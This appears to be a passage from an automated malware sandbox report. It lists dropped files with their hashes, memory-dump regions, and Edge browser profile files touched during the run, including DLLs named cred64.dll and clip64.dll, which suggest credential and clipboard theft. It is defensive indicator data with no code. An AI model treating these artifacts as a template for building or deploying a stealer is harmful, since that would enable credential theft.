| SHA1 | 44e0fa1b517dbf802b18faf0785eeea6ac51594b |
| SHA256 | 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443 |
| SHA512 | 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23 |
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
| MD5 | de872dcf855b46b960cc85ce0a25310f |
| SHA1 | 10d2165725d9fecbe3fa9c984d93a5f14235a3c8 |
| SHA256 | 96637698e769acf72484f03d1657ba671df43444d86004058479db5b215f650a |
| SHA512 | 7b7a774aa0ad2ba4d312ef96e29d2205d7365d766a3420bd3b6d804cacb059e20dd8391d1fc048538908fbc8414863aef9dc48dee5069500a03e8b675b944633 |
memory/6380-424-0x0000000000400000-0x000000000041A000-memory.dmp
memory/6296-431-0x00007FF9DA2C0000-0x00007FF9DAD81000-memory.dmp
memory/752-432-0x0000000000400000-0x0000000000480000-memory.dmp
memory/1676-451-0x0000000002830000-0x0000000002831000-memory.dmp
memory/752-450-0x00000000730D0000-0x0000000073880000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
| MD5 | edbb1a18e5b6d505c3ddfc1f14b954e9 |
| SHA1 | 8265d5e8efaeba915c02cba7ec34a596bc460e6d |
| SHA256 | 19f7dfaabd660d8f3b1426f933d21ab1b78c51b50b835cd481e9827b41bf5c8e |
| SHA512 | a146000421819956f7b966be1131d3e80e56c7290b96e2b5c555c3005ef6db127c694e1d88fcc92129396b4a6d4a7c799b421a0af129d7f10a1dc8349813f229 |
memory/6660-465-0x0000000001FD0000-0x0000000001FD1000-memory.dmp
memory/6188-551-0x00000000730D0000-0x0000000073880000-memory.dmp
memory/6272-552-0x0000000000400000-0x00000000007C8000-memory.dmp
memory/6188-573-0x0000000005610000-0x0000000005620000-memory.dmp
memory/6272-579-0x0000000000400000-0x00000000007C8000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State
| MD5 | 285252a2f6327d41eab203dc2f402c67 |
| SHA1 | acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6 |
| SHA256 | 5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026 |
| SHA512 | 11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d |
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity
| MD5 | 99b8ec3bb7e39eb66a4eac7fe37e6446 |
| SHA1 | 95a235a6f5f95150a1167e153b502239df5541ff |
| SHA256 | 49c3f6a21c6448f7933f9a18390c70f4a1435e470b505450ed6e185ff2964e23 |
| SHA512 | d5ec0290341a418dd226f270b21a6214790806625c454113a570bf30dab5bff4e9ed5433042d0c2cc570da57f7c60835dd8485b823338b11cd068031c2877e58 |
memory/1244-613-0x0000000000400000-0x00000000007C8000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\index.txt
| MD5 | 56042f6bfa2f751a123d7d1c59853a64 |
| SHA1 | dd2b41415f30394835df882955d8ae732081e240 |
| SHA256 | d02ac2fcfa10e5cc287ce223e062ec4de0c22d112f679fe8a2004b84fe233a70 |
| SHA512 | 6d55b21c972f18f11d4ac3ddeb4fa62ef273c9d6ff7d994f6a20cbe719af61194eb1017d5908cd85dedba55c3fdf4639028d98a73e96dd831321aed2bf4a3638 |
C:\Users\Admin\AppData\Local\Temp\873812795143
| MD5 | 06e5d165355bfab2813d98d5a1b74c48 |
| SHA1 | 1ac5be175c7fc1dd389e9f20fd97da8e0c2ccf35 |
| SHA256 | cebc52a36a8f3f37651336675dbe4abef73a89228ff34a56c9e41c24bb4eb52c |
| SHA512 | 6e0e325507aab6608a951b46adbd12f9197df2b1e85963a6c1b058e6efeedd89fa5053e0b9902b015d2242c29f032760e823f837bc9eff0decef37e97b60dde1 |
C:\Users\Admin\AppData\Roaming\aca439ae61e801\cred64.dll
| MD5 | 0111e5a2a49918b9c34cbfbf6380f3f3 |
| SHA1 | 81fc519232c0286f5319b35078ac3bb381311bd4 |
| SHA256 | 4643d18bb8be79c2e3178bc3978d201c596ab70a347e8cf1e8fdbe3028d69d7c |
| SHA512 | a2aac32a2c5146dd7287d245bfa9424287bfd12a40825f4da7d18204837242c99d4406428f2361e13c2e4f4d68c385de12e98243cf48bf4c6c5a82273c4467a5 |
memory/6188-642-0x0000000006BF0000-0x0000000006DB2000-memory.dmp
memory/6188-649-0x00000000072F0000-0x000000000781C000-memory.dmp
C:\Users\Admin\AppData\Roaming\aca439ae61e801\clip64.dll
| MD5 | 8da053f9830880089891b615436ae761 |
| SHA1 | 47d5ed85d9522a08d5df606a8d3c45cb7ddd01f4 |
| SHA256 | d5482b48563a2f1774b473862fbd2a1e5033b4c262eee107ef64588e47e1c374 |
| SHA512 | 69d49817607eced2a16a640eaac5d124aa10f9eeee49c30777c0bc18c9001cd6537c5b675f3a8b40d07e76ec2a0a96e16d1273bfebdce1bf20f80fbd68721b39 |
memory/6188-666-0x0000000006B80000-0x0000000006BE6000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe58bd11.TMP
| MD5 | a5b62ea53a8d318c6c230fbeea11d9cb |
| SHA1 | 9af32582ebd6d54a06bed40954928ccc3ca0cab4 |
| SHA256 | 030ad81ce4fc104c9d00a375fe8085fdb07c8eeb232178f06ab7b886b8fd1c0d |
| SHA512 | c94ef323adec01f6891c3b00722a81e57b90438b894bcd1974575cfc35b4cf5364e14697e2661c9e660c40f170fb727449ef77f9137b6c9d3ab5ff82ee892f0a |
memory/6272-553-0x0000000000400000-0x00000000007C8000-memory.dmp
memory/7124-690-0x0000000000400000-0x0000000000409000-memory.dmp
memory/7124-694-0x0000000000400000-0x0000000000409000-memory.dmp
memory/4104-688-0x0000000000990000-0x0000000000A90000-memory.dmp
memory/4104-679-0x0000000000930000-0x0000000000939000-memory.dmp
memory/6380-678-0x0000000000400000-0x000000000041A000-memory.dmp
memory/3220-700-0x0000000002840000-0x0000000002C3B000-memory.dmp
memory/3220-703-0x0000000002D80000-0x000000000366B000-memory.dmp
memory/3220-716-0x0000000000400000-0x0000000000D1B000-memory.dmp
memory/1244-718-0x0000000000400000-0x00000000007C8000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\index.txt
| MD5 | bbc477c1fe46498b70bf0bb2a3222300 |
| SHA1 | 2b4077fe0eeae665f388f5df5f6799fc7ef03768 |
| SHA256 | 43053e10008055585152e1e39503af1527ab84762b9676b42811167e5c89f8b2 |
| SHA512 | 8c72af95c3e239400e82cc701eb23d383c418c374c4783988e3ee80a2f5ccd1a2d8f62f330049ecd9cee288f84412b7b9dd73bb95ebc6c4ae4270df0081d1524 |
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\e0513104-ab4b-4958-94f1-183b544c6e64\index
| MD5 | 54cb446f628b2ea4a5bce5769910512e |
| SHA1 | c27ca848427fe87f5cf4d0e0e3cd57151b0d820d |
| SHA256 | fbcfe23a2ecb82b7100c50811691dde0a33aa3da8d176be9882a9db485dc0f2d |
| SHA512 | 8f6ed2e91aed9bd415789b1dbe591e7eab29f3f1b48fdfa5e864d7bf4ae554acc5d82b4097a770dabc228523253623e4296c5023cf48252e1b94382c43123cb0 |
memory/6188-748-0x0000000007130000-0x00000000071A6000-memory.dmp
memory/6188-758-0x0000000007940000-0x000000000795E000-memory.dmp
memory/3112-762-0x0000000002AE0000-0x0000000002AF6000-memory.dmp
memory/7124-763-0x0000000000400000-0x0000000000409000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
| MD5 | f807a648d1f686e6bfac77d431b2b114 |
| SHA1 | 7cf82dfdb2c950fd62be786215c3e04bd8933027 |
| SHA256 | 80aead12edab35805e21dfb8446a39a9f0b8112063a0eba933a3e4a3ba21dc18 |
| SHA512 | da0cfb19d697050e539c026137eb4e0b1c86769844c4ad2113e7486206db0c84c647bc75f769b28079c1b1a304118e3e9f239b2156d0c3a0cb83c94038073bdf |
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe58e7da.TMP
| MD5 | 97d4908d213200c5d5a80179bf0d19e3 |
| SHA1 | 1460e54388e3dfd1496ec935c758756e62cc2c15 |
| SHA256 | d0a17857b6a096e66661d4d7745cb91b33b229ed0d2bf07006b76788f41bb654 |
| SHA512 | b656cb3fea71c885913362f16b73cd34c783044ff5214c545976819aeff610ea4a7eb906ef1549246895302144133691ef9d9400b115ccf8e16f810a8c68aef8 |
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity
| MD5 | a697e5dbd898ad89d9c9e35907c3f28a |
| SHA1 | 5e5065c327c8d625c7b00be391023d001d67aacd |
| SHA256 | 82fca7f53208d1c24aa3a01773196384f240a7453fed1f52ff32de3d7fcaee0f |
| SHA512 | 2ad916edd7f1c4d8b203c14079dbd1025bfee83aa010e24a4318c385ca3fe9e8296219c4a5e3458cf82bbe2a23ebd8f4e4b346b0849ff9e739abd79504308b8d |
C:\Users\Admin\AppData\Local\Temp\tmpFE13.tmp
| MD5 | 02d2c46697e3714e49f46b680b9a6b83 |
| SHA1 | 84f98b56d49f01e9b6b76a4e21accf64fd319140 |
| SHA256 | 522cad95d3fa6ebb3274709b8d09bbb1ca37389d0a924cd29e934a75aa04c6c9 |
| SHA512 | 60348a145bfc71b1e07cb35fa79ab5ff472a3d0a557741ea2d39b3772bc395b86e261bd616f65307ae0d997294e49b5548d32f11e86ef3e2704959ca63da8aac |
C:\Users\Admin\AppData\Local\Temp\tmpFE67.tmp
| MD5 | 4bd8313fab1caf1004295d44aab77860 |
| SHA1 | 0b84978fd191001c7cf461063ac63b243ffb7283 |
| SHA256 | 604e2ecd34c77664dae4ceb0dab0b3e4bb6afb2778d3ed21f8d8791edd1408d9 |
| SHA512 | ca96d92a8abbd3a762e19f8e77514ee0018b7e5dc21493c37e83e22047b3cc892eced2fc80b78e6861bb972e20b93007eb46bcb7b562965be2bfa98a24c2ed65 |
C:\Users\Admin\AppData\Local\Temp\tmpFEE0.tmp
| MD5 | 349e6eb110e34a08924d92f6b334801d |
| SHA1 | bdfb289daff51890cc71697b6322aa4b35ec9169 |
| SHA256 | c9fd7be4579e4aa942e8c2b44ab10115fa6c2fe6afd0c584865413d9d53f3b2a |
| SHA512 | 2a635b815a5e117ea181ee79305ee1baf591459427acc5210d8c6c7e447be3513ead871c605eb3d32e4ab4111b2a335f26520d0ef8c1245a4af44e1faec44574 |
C:\Users\Admin\AppData\Local\Temp\tmpFF15.tmp
| MD5 | 1eb51459be7a66ed49fffc07aa19cda5 |
| SHA1 | b5f31dbaf4ebc8adf71e30cc205b77f2d7ad0d65 |
| SHA256 | 3ef12089edfd0cd4cf8fc469758ffc5ca1280ddb3a9888426e82bea6d89816ee |
| SHA512 | 78fdc8b6bfbc09d783190f7582420652ec0e393cf048f43ca57fe3aeb5ceebfbc96fdd94be862781d73087c6851faff772060c67f98ce3e07c06d689b3e73e6d |
C:\Users\Admin\AppData\Local\Temp\tmpFF94.tmp
| MD5 | 19bb263a8f479115e9740cc6673dfe1c |
| SHA1 | 4183f657d50dfaa1f81e7d39764131a85e0dd591 |
| SHA256 | 4b74046604fb1bd1a701ee35b4b191409ed4281997b8ee43b16544ae3b03b3df |
| SHA512 | 6d7e1fa1a0b839acbf1f7300c5f24c1f8595e742d2b61f07aa122ab06fa7c9ee0f15ce0ca87544e1a7b83532f08ece4e6b256ff1194b9055b2a18530c0713cd3 |
C:\Users\Admin\AppData\Local\Temp\tmpFFEE.tmp
| MD5 | d367ddfda80fdcf578726bc3b0bc3e3c |
| SHA1 | 23fcd5e4e0e5e296bee7e5224a8404ecd92cf671 |
| SHA256 | 0b8607fdf72f3e651a2a8b0ac7be171b4cb44909d76bb8d6c47393b8ea3d84a0 |
| SHA512 | 40e9239e3f084b4b981431817ca282feb986cf49227911bf3d68845baf2ee626b564c8fabe6e13b97e6eb214da1c02ca09a62bcf5e837900160cf479c104bf77 |
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1lwyusry.crs.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity
| MD5 | d04ca1752d3bfb94dd94bd04ac1e9012 |
| SHA1 | c3f48b56044d90479df00d028829c871aa8b7317 |
| SHA256 | 89a798f792a98aaeb1c57d5a56d8045b212c3a65b423dbfd93c249beea6cebb8 |
| SHA512 | 609263a7e9ec58acb9885762a1ebdc9e34b1d643775d5af22607a134436d9b864e92804f12b63e937244a0272ec7a4de7761d8d1c067f8acb63464d5c8df90bf |
memory/6456-1245-0x00007FF615690000-0x00007FF615C31000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT
| MD5 | 6752a1d65b201c13b62ea44016eb221f |
| SHA1 | 58ecf154d01a62233ed7fb494ace3c3d4ffce08b |
| SHA256 | 0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd |
| SHA512 | 9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389 |
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\e0513104-ab4b-4958-94f1-183b544c6e64\index-dir\the-real-index~RFe5947dd.TMP
| MD5 | 843f40bdd97d5e701ab486dcbe7792eb |
| SHA1 | ece01865a7505a488bd64491050312851572da23 |
| SHA256 | 3cd03ce4e41d81ffcc901f976c87e518b6dde2c7708c1c6da394f712b0623e12 |
| SHA512 | 27ccbfe7dc08926a2ca805c7006ad4a8330bc3db4272bd82da87aa5c2c1dc7667b9b64c242d34395e36522d591ca3ad872b00bcd983303058b50f01abab50355 |
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\bd04bde8-9c44-491c-aa96-07f208cf9beb\index-dir\the-real-index
| MD5 | 053802094f8775a7e4301cde48d8e71b |
| SHA1 | 144c7acc26031683036871153d5ec6aa7b60b657 |
| SHA256 | e3a280c1080237d7178810b16d7ad840008c2e842c36d183508ab09608ba4939 |
| SHA512 | 374a934b845cc73e2824de9de1847dd3dfa5f12e2a5b88bfbf97b5377aa7e3f47aff46d6f545277a65e8c3223a955f88e01caa3113ea43033bd6bfec67520f3f |
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\bd04bde8-9c44-491c-aa96-07f208cf9beb\index-dir\the-real-index~RFe5947cd.TMP
| MD5 | 1d9615a217c471c2d30f87a0cef64198 |
| SHA1 | 3ba0cb08a9069110b4e10fd6c634a1335de7756f |
| SHA256 | 8b08badf202a65ae51bbd57148a4e32c7fd537483333406edd5283e4a8c1fbd1 |
| SHA512 | 839d086fd45c7109f0558a8a9cf45da8ba5635b3d123f02ea0f6f6cdb4680ef96158b7cd85c653cc4987455b97759288257f076093cad72d5da69db70a99dbc1 |
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\e0513104-ab4b-4958-94f1-183b544c6e64\index-dir\the-real-index
| MD5 | d47b78eb4e7d73f813c2ca1611055300 |
| SHA1 | 950939ee57849f1d1fcbb80ed75c8fc45207092a |
| SHA256 | e14bcc3e9dbbdac47dbbfa5eef250e76e6d6f6273875efd344779e7b35c5097a |
| SHA512 | f1e3d8d2c97e3b4dc0ffb2137359f30af8ede803efa6b1769e058ffd6bf30000ab361006d540bef5f0c38e354a092275a39fa6d62d04d7519fb37afa6f4561c9 |
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\index.txt
| MD5 | 1b7b75ec7c7f38b6dc1f15867f9a1913 |
| SHA1 | 40c3e34f37c6e13b84e6b36cb756072180775fee |
| SHA256 | cbe207bd47fc7e0c6eb8b7448a8e4a02ac1be07874af31d365378648d0fb75ae |
| SHA512 | 14aefecee981a75a24ce64e638f635f4f85c7c55be40a19b2e2088c97843d9ffb70805b320621448a9cbe27379f5c18853851af54010f3c4d0cedaafd52cf36f |
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
| MD5 | 9df86ea8579e652b5cbe6dab5b370798 |
| SHA1 | 13509c9ce27c8bb4bce9add2ddc90308cd7d1989 |
| SHA256 | e0bc6a63fd01030a512d4b69751c1f6e96c28094734bfa708707bc4cb5363db2 |
| SHA512 | 40b8c6c9c37bfd61fbfa130307def90fb037cd993ff868474eb5a4c4d7c0f0549b6353eb82d38ef2fc5890ee9214861cda5e066876be570af9321b8c4a31dcb3 |
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity
| MD5 | 324d61f9d04228f745be31e63e7de982 |
| SHA1 | fc5a15f1fd36e929c2925eb2ad014b1707acf348 |
| SHA256 | e3b3b23138cddea714d635180d926d41436dcb02a05736a27ca29c302d1da5a3 |
| SHA512 | e1a7457e157c56332f5235984620b7bdfd1ea94fcfa7804263fd85b0532a2b2b2ebab38b89c2a01ff2940f4ef6406582887e60e2f82c6cec3de626e70f9949c9 |
memory/7136-1401-0x0000000000580000-0x00000000005BC000-memory.dmp
memory/6696-1402-0x00007FF702D10000-0x00007FF703676000-memory.dmp
memory/3328-1475-0x0000000000400000-0x0000000000D1B000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State
| MD5 | d6ee483bf9a15701ee0bf5a2937497c7 |
| SHA1 | 5855119e15b1689b9143c5e084d5a9bcfdb68b33 |
| SHA256 | 8b3fb2e37f24eee47a63e1256d3b1b9128989fbc3523d7d9bb32f76406e3ae52 |
| SHA512 | 5f1975bf7f4a385c11753b78db3575110e2431f793e1f3a0dcc0ef4dc58b00d5516f1a31a6de2ff866786bd8e50f00b59f847d6444c9f0eaa5784f8684ad1906 |
memory/1676-1577-0x0000000000400000-0x0000000000965000-memory.dmp
memory/3220-1579-0x0000000000400000-0x0000000000D1B000-memory.dmp
memory/1244-1598-0x0000000000A00000-0x0000000000AAD000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
| MD5 | 51c3743b948c0b72484e05a54c77f42c |
| SHA1 | d7bd495de1be2f4fa5fedb7d01e3942803eb8389 |
| SHA256 | e95e64300e0d3a6145b818742c70d7198570aa1c3f64a70a67d1ee632656ae33 |
| SHA512 | c471f4dcd4399da2ec2da538dac8a8c7ac14aad8efa72b7505923f6f73c3c6f23f987a5cc2ccf8d232fecc3d38419d514679e22ca8ebb86017c2959aba882e24 |
memory/6660-1650-0x0000000000400000-0x00000000004CF000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
| MD5 | 8e1899ff3e5a7fe9c04f560c138ea5a4 |
| SHA1 | df193616767cb027d0cdf8271a0e4629d57fac29 |
| SHA256 | afcbecceec8e55661a7ed2feea52e6b6beb577f87754f7a3092eaffd3cc404a8 |
| SHA512 | d2211feccd3f2e0534db42cf57e6b47bbc3d9b1ba50136eb0092c872262e481936c470fc3be7b510d0c8babd61a3abe789e29507690c51b264b64cf816117a15 |
memory/1244-1653-0x0000000000400000-0x00000000007C8000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
| MD5 | 62634ad4fb2ead665c451d7a1fd5caa9 |
| SHA1 | 192d5ab046abd8774fee7b9819c28fe77e3049d9 |
| SHA256 | f49e4ae87a4c735958386f048155a6d64a8970ce02aeeb1c1a32d04926d39ff2 |
| SHA512 | e42b60d91425fcca2bdeed1f04eecb75d7432c69bca8106f5eb3e110fb86142e1c71e8e742946e52b55b9ef1bbbda21dff4c2ee49fcebe9a99e676b9b1e92e10 |
memory/1876-1673-0x00007FF7B2F90000-0x00007FF7B3531000-memory.dmp
memory/6180-1675-0x0000000000400000-0x0000000000D1B000-memory.dmp
memory/1244-1681-0x0000000000400000-0x00000000007C8000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT
| MD5 | aefd77f47fb84fae5ea194496b44c67a |
| SHA1 | dcfbb6a5b8d05662c4858664f81693bb7f803b82 |
| SHA256 | 4166bf17b2da789b0d0cc5c74203041d98005f5d4ef88c27e8281e00148cd611 |
| SHA512 | b733d502138821948267a8b27401d7c0751e590e1298fda1428e663ccd02f55d0d2446ff4bc265bdcdc61f952d13c01524a5341bc86afc3c2cde1d8589b2e1c3 |
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
| MD5 | 6552269fcbc33396cef392686d641e2a |
| SHA1 | 27679d0510997413aff070d840e25c172effec7a |
| SHA256 | bbf4d6d11e02a3c6096a0162abb6c6eda028c4a1ac299f70bbb2cf90022e25a4 |
| SHA512 | f02db19a23ea48350c36bb189b0e0947c245a837be6f92563deb9519ad7ae1ef006685d05ba812ea59267badd262218b59eb823cb3b4cc8a594861eb2c0b8e02 |
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
| MD5 | dc1421d0ec809ce6c6d38eed8157fc90 |
| SHA1 | d45742ab762e30e58f9ae3217b570530c489933d |
| SHA256 | fe41965b76fab4e95089d11a576736e203f59a4af0d34c5670efdce13dce97ee |
| SHA512 | 2065b451a707f85abbf1c97a64816dddbd51e7920bb3df6cec12fbd67789ae010578994f92e714180da463d01141d4908e4f65615e337514804f9cfe40b79476 |